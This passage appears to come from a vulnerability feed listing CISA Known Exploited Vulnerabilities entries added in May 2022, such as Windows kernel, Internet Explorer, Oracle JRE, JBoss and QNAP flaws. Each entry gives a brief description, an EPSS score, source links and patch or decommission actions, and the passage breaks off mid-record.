Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Kernel Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2015-6175 Microsoft Windows Kernel Privilege Escalation Vulnerability (May 25, 2022). The kernel in Microsoft Windows contains a vulnerability that allows local users to gain privileges via a crafted application. EPSS 5.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-6175&date=2026-10-25). Sources: CISA KEV entry CVE-2015-6175: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-6175&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2015-1671 Microsoft Windows Remote Code Execution Vulnerability (May 25, 2022). A remote code execution vulnerability exists when components of Windows, .NET Framework, Office, Lync, and Silverlight fail to properly handle TrueType fonts. EPSS 48.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-1671&date=2026-10-25). Sources: CISA KEV entry CVE-2015-1671: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-1671&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2014-4148 Microsoft Windows Remote Code Execution Vulnerability (May 25, 2022). A remote code execution vulnerability exists when the Windows kernel-mode driver improperly handles TrueType fonts. EPSS 59.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-4148&date=2026-10-25). Sources: CISA KEV entry CVE-2014-4148: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-4148&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Dereferenced Pointer Vulnerability https://kevwire.com/record/CVE-2014-8439 Adobe Flash Player Dereferenced Pointer Vulnerability (May 25, 2022). Adobe Flash Player has a vulnerability in the way it handles a dereferenced memory pointer which could lead to code execution. EPSS 20.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-8439&date=2026-10-25). Sources: CISA KEV entry CVE-2014-8439: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-8439&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2014-4123 Microsoft Internet Explorer Privilege Escalation Vulnerability (May 25, 2022). Microsoft Internet Explorer contains an unspecified vulnerability that allows remote attackers to gain privileges via a crafted web site. EPSS 47.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-4123&date=2026-10-25). Sources: CISA KEV entry CVE-2014-4123: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-4123&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Reader and Acrobat Sandbox Bypass Vulnerability https://kevwire.com/record/CVE-2014-0546 Adobe Reader and Acrobat Sandbox Bypass Vulnerability (May 25, 2022). Adobe Reader and Acrobat on Windows allow attackers to bypass a sandbox protection mechanism, and consequently execute native code in a privileged context. EPSS 22.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-0546&date=2026-10-25). Sources: CISA KEV entry CVE-2014-0546: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-0546&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2014-2817 Microsoft Internet Explorer Privilege Escalation Vulnerability (May 25, 2022). Microsoft Internet Explorer cotains an unspecified vulnerability that allows remote attackers to gain privileges via a crafted web site. EPSS 26.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-2817&date=2026-10-25). Sources: CISA KEV entry CVE-2014-2817: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-2817&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft IME Japanese Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2014-4077 Microsoft IME Japanese Privilege Escalation Vulnerability (May 25, 2022). Microsoft Input Method Editor (IME) Japanese is a keyboard with Japanese characters that can be enabled on Windows systems as it is included by default (with the default set as disabled). IME Japanese contains an unspecified vulnerability when IMJPDCT.EXE (IME for Japanese) is installed which allows attackers to bypass a sandbox and perform privilege escalation. EPSS 54.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-4077&date=2026-10-25). Sources: CISA KEV entry CVE-2014-4077: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-4077&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2014-3153 Linux Kernel Privilege Escalation Vulnerability (May 25, 2022). The futex_requeue function in kernel/futex.c in Linux kernel does not ensure that calls have two different futex addresses, which allows local users to gain privileges. EPSS 37.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-3153&date=2026-10-25). Sources: CISA KEV entry CVE-2014-3153: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-3153&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Information Disclosure Vulnerability https://kevwire.com/record/CVE-2013-7331 Microsoft Internet Explorer Information Disclosure Vulnerability (May 25, 2022). An information disclosure vulnerability exists in Internet Explorer which allows resources loaded into memory to be queried. This vulnerability could allow an attacker to detect anti-malware applications. EPSS 50.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-7331&date=2026-10-25). Sources: CISA KEV entry CVE-2013-7331: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-7331&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### IBM InfoSphere BigInsights Invalid Input Vulnerability https://kevwire.com/record/CVE-2013-3993 IBM InfoSphere BigInsights Invalid Input Vulnerability (May 25, 2022). Certain APIs within BigInsights can take invalid input that might allow attackers unauthorized access to read, write, modify, or delete data. EPSS 4.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-3993&date=2026-10-25). Sources: CISA KEV entry CVE-2013-3993: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-3993&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Silverlight Information Disclosure Vulnerability https://kevwire.com/record/CVE-2013-3896 Microsoft Silverlight Information Disclosure Vulnerability (May 25, 2022). Microsoft Silverlight does not properly validate pointers during access to Silverlight elements, which allows remote attackers to obtain sensitive information via a crafted Silverlight application. EPSS 68.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-3896&date=2026-10-25). Sources: CISA KEV entry CVE-2013-3896: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-3896&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle JRE Unspecified Vulnerability https://kevwire.com/record/CVE-2013-2423 Oracle JRE Unspecified Vulnerability (May 25, 2022). Unspecified vulnerability in hotspot for Java Runtime Environment (JRE) allows remote attackers to affect integrity. EPSS 85.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-2423&date=2026-10-25). Sources: CISA KEV entry CVE-2013-2423: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-2423&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle JRE Sandbox Bypass Vulnerability https://kevwire.com/record/CVE-2013-0431 Oracle JRE Sandbox Bypass Vulnerability (May 25, 2022). Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle allows remote attackers to bypass the Java security sandbox. EPSS 90.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-0431&date=2026-10-25). Sources: CISA KEV entry CVE-2013-0431: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-0431&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle JRE Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2013-0422 Oracle JRE Remote Code Execution Vulnerability (May 25, 2022). A vulnerability in the way Java restricts the permissions of Java applets could allow an attacker to execute commands on a vulnerable system. EPSS 97.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-0422&date=2026-10-25). Sources: CISA KEV entry CVE-2013-0422: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-0422&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Silverlight Double Dereference Vulnerability https://kevwire.com/record/CVE-2013-0074 Microsoft Silverlight Double Dereference Vulnerability (May 25, 2022). Microsoft Silverlight does not properly validate pointers during HTML object rendering, which allows remote attackers to execute code via a crafted Silverlight application. EPSS 78.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-0074&date=2026-10-25). Sources: CISA KEV entry CVE-2013-0074: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-0074&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle Fusion Middleware Unspecified Vulnerability https://kevwire.com/record/CVE-2012-1710 Oracle Fusion Middleware Unspecified Vulnerability (May 25, 2022). Unspecified vulnerability in the Oracle WebCenter Forms Recognition component in Oracle Fusion Middleware allows remote attackers to affect confidentiality, integrity, and availability via Unknown vectors related to Designer. EPSS 7.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-1710&date=2026-10-25). Sources: CISA KEV entry CVE-2012-1710: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-1710&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Red Hat JBoss Information Disclosure Vulnerability https://kevwire.com/record/CVE-2010-1428 Red Hat JBoss Information Disclosure Vulnerability (May 25, 2022). Unauthenticated access to the JBoss Application Server Web Console (/web-console) is blocked by default. However, it was found that this block was incomplete, and only blocked GET and POST HTTP verbs. A remote attacker could use this flaw to gain access to sensitive information. EPSS 52.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-1428&date=2026-10-25). Sources: CISA KEV entry CVE-2010-1428: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-1428&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle JRE Unspecified Vulnerability https://kevwire.com/record/CVE-2010-0840 Oracle JRE Unspecified Vulnerability (May 25, 2022). Unspecified vulnerability in the Java Runtime Environment (JRE) in Java SE component allows remote attackers to affect confidentiality, integrity, and availability via Unknown vectors. EPSS 96.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-0840&date=2026-10-25). Sources: CISA KEV entry CVE-2010-0840: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-0840&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Red Hat JBoss Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2010-0738 Red Hat JBoss Authentication Bypass Vulnerability (May 25, 2022). The JMX-Console web application in JBossAs in Red Hat JBoss Enterprise Application Platform performs access control only for the GET and POST methods, which allows remote attackers to send requests to this application's GET handler by using a different method. EPSS 73.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-0738&date=2026-10-25). Sources: CISA KEV entry CVE-2010-0738: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-0738&date=2026-10-25 CISA added this entry on 2022-05-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 25, 2022; federal due date Jun 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Kernel Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2018-8611 Microsoft Windows Kernel Privilege Escalation Vulnerability (May 24, 2022). A privilege escalation vulnerability exists when the Windows kernel fails to properly handle objects in memory. EPSS 4.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8611&date=2026-10-25). Sources: CISA KEV entry CVE-2018-8611: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8611&date=2026-10-25 CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### QNAP NAS File Station Cross-Site Scripting Vulnerability https://kevwire.com/record/CVE-2018-19953 QNAP NAS File Station Cross-Site Scripting Vulnerability (May 24, 2022). A cross-site scripting vulnerability affecting QNAP NAS File Station could allow remote attackers to inject malicious code. EPSS 30.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-19953&date=2026-10-25). Sources: CISA KEV entry CVE-2018-19953: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-19953&date=2026-10-25 CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### QNAP NAS File Station Command Injection Vulnerability https://kevwire.com/record/CVE-2018-19949 QNAP NAS File Station Command Injection Vulnerability (May 24, 2022). A command injection vulnerability affecting QNAP NAS File Station could allow remote attackers to run commands. EPSS 30.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-19949&date=2026-10-25). Sources: CISA KEV entry CVE-2018-19949: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-19949&date=2026-10-25 CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### QNAP NAS File Station Cross-Site Scripting Vulnerability https://kevwire.com/record/CVE-2018-19943 QNAP NAS File Station Cross-Site Scripting Vulnerability (May 24, 2022). A cross-site scripting vulnerability affecting QNAP NAS File Station could allow remote attackers to inject malicious code. EPSS 22.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-19943&date=2026-10-25). Sources: CISA KEV entry CVE-2018-19943: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-19943&date=2026-10-25 CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows SMBv1 Information Disclosure Vulnerability https://kevwire.com/record/CVE-2017-0147 Microsoft Windows SMBv1 Information Disclosure Vulnerability (May 24, 2022). The SMBv1 server in Microsoft Windows allows remote attackers to obtain sensitive information from process memory via a crafted packet. EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0147&date=2026-10-25). Sources: CISA KEV entry CVE-2017-0147: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0147&date=2026-10-25 CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft XML Core Services Information Disclosure Vulnerability https://kevwire.com/record/CVE-2017-0022 Microsoft XML Core Services Information Disclosure Vulnerability (May 24, 2022). Microsoft XML Core Services (MSXML) improperly handles objects in memory, allowing attackers to test for files on disk via a crafted web site. EPSS 18.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0022&date=2026-10-25). Sources: CISA KEV entry CVE-2017-0022: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0022&date=2026-10-25 CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Graphics Device Interface (GDI) Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2017-0005 Microsoft Windows Graphics Device Interface (GDI) Privilege Escalation Vulnerability (May 24, 2022). The Graphics Device Interface (GDI) in Microsoft Windows allows local users to gain privileges via a crafted application. EPSS 11.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0005&date=2026-10-25). Sources: CISA KEV entry CVE-2017-0005: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0005&date=2026-10-25 CISA added this entry on 2022-05-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added May 24, 2022; federal due date Jun 14, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Memory Corruption Vulnerability https://kevwire.com/record/CVE-2017-0149 Microsoft Internet Explorer Memory Corruption Vulnerability (May 24, 2022). Microsoft Internet Explorer contains a memory corruption vulnerability that allows remote attackers to execute code or cause a denial-of-service (DoS) via a crafted website. EPSS 29.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0149&date=2026-10-25). Sources: CISA KEV entry CVE-2017-0149: 